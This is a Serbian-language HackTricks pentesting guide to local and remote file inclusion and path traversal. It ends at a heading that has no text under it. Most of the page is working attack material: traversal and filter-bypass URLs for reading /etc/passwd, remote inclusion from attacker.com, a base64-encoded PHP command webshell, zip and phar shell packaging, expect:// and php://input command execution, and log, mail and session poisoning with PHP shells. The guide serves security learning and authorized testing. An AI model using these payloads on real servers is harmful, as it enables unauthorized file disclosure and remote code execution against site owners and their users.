hacktricks/pentesting-web/file-inclusion/README.md
2024-02-10 13:11:20 +00:00

685 lines
36 KiB
Markdown

# Uključivanje datoteka/Pretraživanje putanja
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije objave**\
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
## Uključivanje datoteka
**Udaljeno uključivanje datoteka (RFI):** Datoteka se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po podrazumevanim podešavanjima (**allow\_url\_include**).\
**Lokalno uključivanje datoteka (LFI):** Server učitava lokalnu datoteku.
Ranjivost se javlja kada korisnik na neki način može kontrolisati datoteku koju će server učitati.
Ranjive **PHP funkcije**: require, require\_once, include, include\_once
Interesantan alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Slepo - Interesantno - LFI2RCE datoteke
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Mešanjem nekoliko \*nix LFI lista i dodavanjem više putanja, kreirao sam ovu:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Takođe pokušajte da promenite `/` u `\`\
Takođe pokušajte da dodate `../../../../../`
Listu koja koristi nekoliko tehnika za pronalaženje fajla /etc/password (kako bi se proverilo da li postoji ranjivost) možete pronaći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Spajanje različitih wordlisti:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Takođe pokušajte da promenite `/` u `\`\
Takođe pokušajte da uklonite `C:/` i dodate `../../../../../`
Listu koja koristi nekoliko tehnika za pronalaženje fajla /boot.ini (kako bi se proverilo da li postoji ranjivost) možete pronaći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Proverite LFI listu za linux.
## Osnovni LFI i zaobilaženje
Svi primeri su za lokalno uključivanje fajlova, ali mogu se primeniti i na udaljeno uključivanje fajlova (stranica=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### sekvence pretrage bez rekurzije sa uklonjenim znakovima
Ova tehnika se koristi za izvršavanje napada na uključivanje datoteka kada ciljani veb server primenjuje filtriranje putanja kako bi sprečio upotrebu specijalnih znakova. Umesto da koristite rekurzivne sekvence pretrage, ova metoda uklanja sve specijalne znakove iz putanje kako bi se izvršio napad.
Da biste primenili ovu tehniku, sledite sledeće korake:
1. Identifikujte ciljani veb server koji koristi filtriranje putanja.
2. Izvršite napad na uključivanje datoteka koristeći standardne sekvence pretrage.
3. Ako primetite da se specijalni znakovi u putanji filtriraju, uklonite ih iz sekvence pretrage.
4. Ponovite korake 2 i 3 sve dok ne uspete da izvršite napad na uključivanje datoteka.
Ova tehnika omogućava izvršavanje napada na uključivanje datoteka čak i kada ciljani veb server primenjuje filtriranje putanja.
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null bajt (%00)**
Bajpasirajte dodavanje dodatnih znakova na kraju pruženog stringa (bajpas za: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Ovo je **rešeno od PHP 5.4**
### **Kodiranje**
Možete koristiti ne-standardna kodiranja kao što je dvostruko URL kodiranje (i druga):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Iz postojeće fascikle
Možda se back-end proverava putanja fascikle:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Istraživanje direktorijuma fajl sistema na serveru
Fajl sistem servera može se rekurzivno istraživati kako bi se identifikovali direktorijumi, a ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. U nastavku je detaljno opisan metod za postizanje ovog cilja:
1. **Odredite dubinu direktorijuma:**
Utvrđivanje dubine trenutnog direktorijuma postiže se uspešnim dohvatanjem fajla `/etc/passwd` (primenjivo ako je server zasnovan na Linuxu). Primer URL-a može biti struktuiran na sledeći način, što ukazuje na dubinu od tri:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Istraživanje foldera:**
Dodajte ime sumnjivog foldera (npr. `private`) na URL, a zatim se vratite na `/etc/passwd`. Dodavanje dodatnog nivoa direktorijuma zahteva povećanje dubine za jedan:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Tumačenje rezultata:**
Odgovor servera ukazuje da li folder postoji:
- **Greška / Nema izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
- **Sadržaj `/etc/passwd`:** Potvrđeno je prisustvo foldera `private`.
4. **Rekurzivno istraživanje:**
Otkriveni folderi mogu se dalje istraživati u potrazi za poddirektorijumima ili fajlovima koristeći istu tehniku ili tradicionalne metode lokalnog uključivanja fajlova (LFI).
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload prema potrebi. Na primer, da biste proverili da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini 3), koristite:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Tehnika skraćivanja putanje**
Tehnika skraćivanja putanje je metoda koja se koristi za manipulaciju putanjama datoteka u veb aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilazeći određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je da se kreira putanja datoteke koja, nakon izmena sigurnosne mere, i dalje pokazuje na željenu datoteku.
U PHP-u, različiti prikazi putanje datoteke mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` se tretiraju kao ista putanja.
- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (čineći ga `passwd/`) ne menja ciljanu datoteku.
- Slično tome, ako se `.php` doda na putanju datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti pristupanoj datoteci.
Pruženi primeri demonstriraju kako koristiti tehniku skraćivanja putanje da bi se pristupilo `/etc/passwd`, čestoj meti zbog njenog osetljivog sadržaja (informacije o korisničkim nalozima):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali taj broj može varirati na osnovu konfiguracije servera.
- **Korišćenje tačka segmenata i dodatnih karaktera**:
Sekvence prolaza (`../`) kombinovane sa dodatnim tačka segmentima i karakterima mogu se koristiti za navigaciju po fajl sistemu, efektivno ignorišući dodate stringove od strane servera.
- **Određivanje potrebnog broja prolaza**:
Kroz pokušaj i grešku, može se pronaći precizan broj sekvenci `../` potrebnih za navigaciju do korenskog direktorijuma, a zatim do `/etc/passwd`, obezbeđujući da se neutrališu dodati stringovi (kao što je `.php`), ali da željena putanja (`/etc/passwd`) ostane netaknuta.
- **Početak sa lažnim direktorijumom**:
Uobičajena praksa je započeti putanju sa nepostojećim direktorijumom (kao što je `a/`). Ova tehnika se koristi kao preventivna mera ili da bi se ispunili zahtevi logike parsiranja putanje servera.
Prilikom korišćenja tehnika skraćivanja putanje, ključno je razumeti ponašanje servera pri parsiranju putanje i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a često je potrebno testiranje da bi se pronašla najefektivnija metoda.
**Ova ranjivost je ispravljena u PHP 5.3.**
### **Trikovi za zaobilaženje filtera**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Udaljeno uključivanje fajlova
U PHP-u je ovo podrazumevano onemogućeno jer je **`allow_url_include`** postavljen na **Off**. Da bi ovo funkcionisalo, mora biti postavljen na **On**, a u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE (daljinsko izvršavanje koda).
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Ako iz nekog razloga **`allow_url_include`** je **Uključeno**, ali PHP **filtrira** pristup spoljnim veb stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete koristiti na primer protokol podataka sa base64 za dekodiranje b64 PHP koda i dobijanje RCE:
{% code overflow="wrap" %}
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
{% endcode %}
{% hint style="info" %}
U prethodnom kodu, konačni `+.txt` je dodat jer napadaču treba string koji se završava sa `.txt`, tako da će taj deo stringa biti smeće nakon b64 dekodiranja i pravi PHP kod će biti uključen (i stoga, izvršen).
{% endhint %}
Još jedan primer **bez korišćenja `php://` protokola** bio bi:
{% code overflow="wrap" %}
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
## Python Root element
U Pythonu, u kodu poput ovog:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Ako korisnik prosledi **apsolutnu putanju** do **`file_name`**, **prethodna putanja se samo uklanja**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
To je željeno ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne putanje komponente.
## Java Listanje direktorijuma
Izgleda da ako imate Path Traversal u Javi i **zahtevate direktorijum** umesto fajla, **vratiće se lista direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
## Top 25 parametara
Evo liste od 25 najčešćih parametara koji mogu biti ranjivi na lokalno uključivanje fajlova (LFI) (sa [linka](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI korišćenjem PHP omotača i protokola
### php://filter
PHP filteri omogućavaju izvođenje osnovnih **operacija modifikacije podataka** pre nego što se pročitaju ili zapišu. Postoje 5 kategorija filtera:
* [Filteri za stringove](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Uklanja oznake iz podataka (sve između "<" i ">" znakova)
* Napomena: Ovaj filter je nestao iz modernih verzija PHP-a
* [Filteri za konverziju](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Transformiše u drugo kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l`
{% hint style="warning" %}
Zloupotrebom konverzioniog filtera `convert.iconv.*` možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili izvršavanje funkcije kao što je uključivanje proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filteri za kompresiju](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: Komprimuje sadržaj (korisno ako se izvlači puno informacija)
* `zlib.inflate`: Dekomprimuje podatke
* [Filteri za enkripciju](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : Zastarelo
* `mdecrypt.*` : Zastarelo
* Ostali filteri
* Pokretanjem `var_dump(stream_get_filters());` u PHP-u možete pronaći nekoliko **neočekivanih filtera**:
* `consumed`
* `dechunk`: Obrće HTTP chunked kodiranje
* `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
{% hint style="warning" %}
Deo "php://filter" je neosetljiv na veličinu slova
{% endhint %}
### php://fd
Ovaj omotač omogućava pristup deskriptorima datoteka koje proces ima otvorene. Potencijalno korisno za izvlačenje sadržaja otvorenih datoteka:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Možete takođe koristiti **php://stdin, php://stdout i php://stderr** da pristupite **file descriptorima 0, 1 i 2** redom (nisam siguran kako bi ovo moglo biti korisno u napadu)
### zip:// i rar://
Otpremite Zip ili Rar fajl sa PHPShell-om unutra i pristupite mu.\
Da biste mogli zloupotrebiti rar protokol, **mora biti posebno aktiviran**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
Data URI je način za uključivanje podataka direktno u HTML ili CSS fajlove. Ova tehnika se može iskoristiti za uključivanje malicioznog koda ili izvršavanje napada na server. Kada se koristi u kontekstu file inclusion napada, data URI se može iskoristiti za uključivanje udaljenih fajlova ili čak izvršavanje lokalnih fajlova na serveru. Ovo može dovesti do otkrivanja osetljivih informacija ili izvršavanja proizvoljnog koda na serveru.
Da biste izvršili file inclusion napad pomoću data URI, potrebno je pronaći ranjivu tačku na ciljnom serveru koja omogućava uključivanje fajlova. Zatim možete konstruisati URL koji sadrži data URI koji pokazuje na fajl koji želite uključiti. Kada se ovaj URL prosledi serveru, on će pokušati uključiti fajl i izvršiti ga, što može dovesti do neželjenih posledica.
Da biste se zaštitili od file inclusion napada putem data URI, preporučuje se da se proveri i validira svaki URL koji se prosleđuje serveru. Takođe je važno ažurirati i zakrpati sve ranjive tačke na serveru kako bi se smanjio rizik od ovakvih napada.
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Napomena da je ovaj protokol ograničen php konfiguracijama **`allow_url_open`** i **`allow_url_include`**
### expect://
Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Navedite svoj payload u POST parametrima:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar` fajl može se koristiti za izvršavanje PHP koda kada veb aplikacija koristi funkcije poput `include` za učitavanje fajlova. PHP kod ispod prikazuje kako se kreira `.phar` fajl:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Da biste kompajlirali `.phar` datoteku, treba izvršiti sledeću komandu:
```bash
php --define phar.readonly=0 create_path.php
```
Prilikom izvršavanja, kreiraće se datoteka nazvana `test.phar`, koja potencijalno može biti iskorišćena za iskorišćavanje ranjivosti lokalnog uključivanja datoteka (LFI).
U slučajevima kada LFI samo vrši čitanje datoteka bez izvršavanja PHP koda unutar njih, kroz funkcije poput `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` ili `filesize()`, može se pokušati iskorišćavanje ranjivosti de-serijalizacije. Ova ranjivost je povezana sa čitanjem datoteka korišćenjem `phar` protokola.
Za detaljnije razumevanje iskorišćavanja ranjivosti de-serijalizacije u kontekstu `.phar` datoteka, pogledajte dokument koji je povezan u nastavku:
[Phar vodič za iskorišćavanje de-serijalizacije](phar-deserialization.md)
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}
### Više protokola
Proverite više mogućih [**protokola koje treba uključiti ovde**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory i php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Pisanje u memoriju ili u privremenu datoteku (nije sigurno kako ovo može biti korisno u napadu uključivanja datoteka)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristupanje lokalnom fajl sistemu
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Pristupanje HTTP(s) URL-ovima
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristupanje FTP(s) URL-ovima
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni tokovi
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalaženje putanja koje odgovaraju šablonu (ne vraća ništa štampajuće, pa nije stvarno korisno ovde)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio tokovi (Nije korisno za čitanje proizvoljnih datoteka)
## LFI putem PHP-ove 'assert' funkcije
Rizici lokalnog uključivanja datoteka (LFI) u PHP-u su posebno visoki prilikom rukovanja funkcijom 'assert', koja može izvršiti kod unutar stringova. To je posebno problematično ako se proverava ulaz koji sadrži karaktere za pretraživanje direktorijuma poput "..", ali nije pravilno dezinfikovan.
Na primer, PHP kod može biti dizajniran da spreči pretraživanje direktorijuma na sledeći način:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Iako ovo ima za cilj zaustavljanje traversal-a, nenamerno stvara vektor za ubrizgavanje koda. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao koristiti:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
```plaintext
' and die(system("id")) or '
```
Važno je **URL-kodirati ove payloade**.
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Hakerske vesti u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja putem vesti i uvida u realnom vremenu
**Najnovije objave**\
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
## PHP slepo putovanje putem putanje
{% hint style="warning" %}
Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** **PHP funkcije** koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**), ali sadržaj nije prikazan.
{% endhint %}
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepo putovanje putem putanje može zloupotrebiti putem PHP filtera da bi se **izfiltrirao sadržaj fajla putem orakla greške**.
Ukratko, tehnika koristi **"UCS-4LE" kodiranje** da bi sadržaj fajla bio toliko **veliki** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
Zatim, kako bi se otkrio prvi karakter, koristi se filter **`dechunk`** zajedno sa drugim filterima kao što su **base64** ili **rot13**, a zatim se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da bi se **postavili drugi karakteri na početak i otkrili ih**.
**Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo cilj čitanja samo sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Za tehničke detalje pogledajte pomenuti post!
## LFI2RCE
### Udaljeno uključivanje fajla
Objašnjeno ranije, [**pratite ovaj link**](./#remote-file-inclusion).
### Putem log fajla Apache/Nginx
Ako je server Apache ili Nginx **ranjiv na LFI** unutar funkcije za uključivanje, možete pokušati pristupiti **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postaviti unutar **user agenta** ili unutar **GET parametra** PHP shell kao što je **`<?php system($_GET['c']); ?>`** i uključiti taj fajl
{% hint style="warning" %}
Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostrukih navodnika**, dvostruki navodnici će biti izmenjeni u string "_**quote;**_", **PHP će tu baciti grešku** i **ništa drugo neće biti izvršeno**.
Takođe, pobrinite se da **ispravno napišete payload** ili će PHP svaki put pri pokušaju učitavanja log fajla baciti grešku i nećete imati drugu priliku.
{% endhint %}
Ovo se takođe može uraditi i u drugim logovima, ali **budite oprezni**, kod unutar logova može biti URL-kodiran i to može uništiti Shell. Zaglavlje **autorizacija "basic"** sadrži "korisnik:lozinka" u Base64 i dekodira se unutar logova. PHPShell može biti ubačen unutar ovog zaglavlja.\
Drugi mogući putovi logova:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Putem e-pošte
**Pošaljite e-poštu** na interni nalog (user@localhost) koja sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da je uključite u poštu korisnika sa putanjom kao **`/var/mail/<KORISNIČKO_IME>`** ili **`/var/spool/mail/<KORISNIČKO_IME>`**
### Putem /proc/\*/fd/\*
1. Učitajte puno shell-ova (na primer: 100)
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gde je $PID PID procesa (može se probiti) i $FD deskriptor fajla (takođe se može probiti)
### Putem /proc/self/environ
Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar fajla /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Preko otpremanja
Ako možete otpremiti datoteku, jednostavno ubacite shell payload u nju (npr. `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Da biste održali čitljivost datoteke, najbolje je ubaciti u metapodatke slika/doc/pdf
### Putem otpremanja ZIP datoteke
Otpremite ZIP datoteku koja sadrži komprimiranu PHP ljusku i pristupite:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Putem PHP sesija
Proverite da li veb sajt koristi PHP sesije (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
U PHP-u, ove sesije se čuvaju u datotekama _/var/lib/php5/sess\\_\[PHPSESSID]\_.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Postavite kolačić na `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Koristite LFI da biste uključili PHP sesijski fajl
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Preko ssh-a
Ako je ssh aktivan, proverite koji se korisnik koristi (/proc/self/status & /etc/passwd) i pokušajte pristupiti **\<HOME>/.ssh/id\_rsa**
### **Preko** **vsftpd** _**logova**_
Logovi za FTP server vsftpd nalaze se na **_/var/log/vsftpd.log_**. U scenariju gde postoji ranjivost lokalnog uključivanja datoteka (LFI) i moguć pristup izloženom vsftpd serveru, mogu se razmotriti sledeći koraci:
1. Ubacite PHP payload u polje za korisničko ime tokom procesa prijave.
2. Nakon ubacivanja, koristite LFI da biste dobili logove servera sa **_/var/log/vsftpd.log_**.
### Preko php base64 filtera (korišćenjem base64)
Kao što je prikazano u [ovom](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to koristiti da biste zaobišli proveru ekstenzije datoteke: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payloada:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Putem PHP filtera (nije potreban fajl)
Ovaj [**članak**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **PHP filtere za generisanje proizvoljnog sadržaja** kao izlaz. To znači da možete **generisati proizvoljni PHP kod** za uključivanje **bez potrebe da ga pišete** u fajl.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
### Putem greške segmentacije
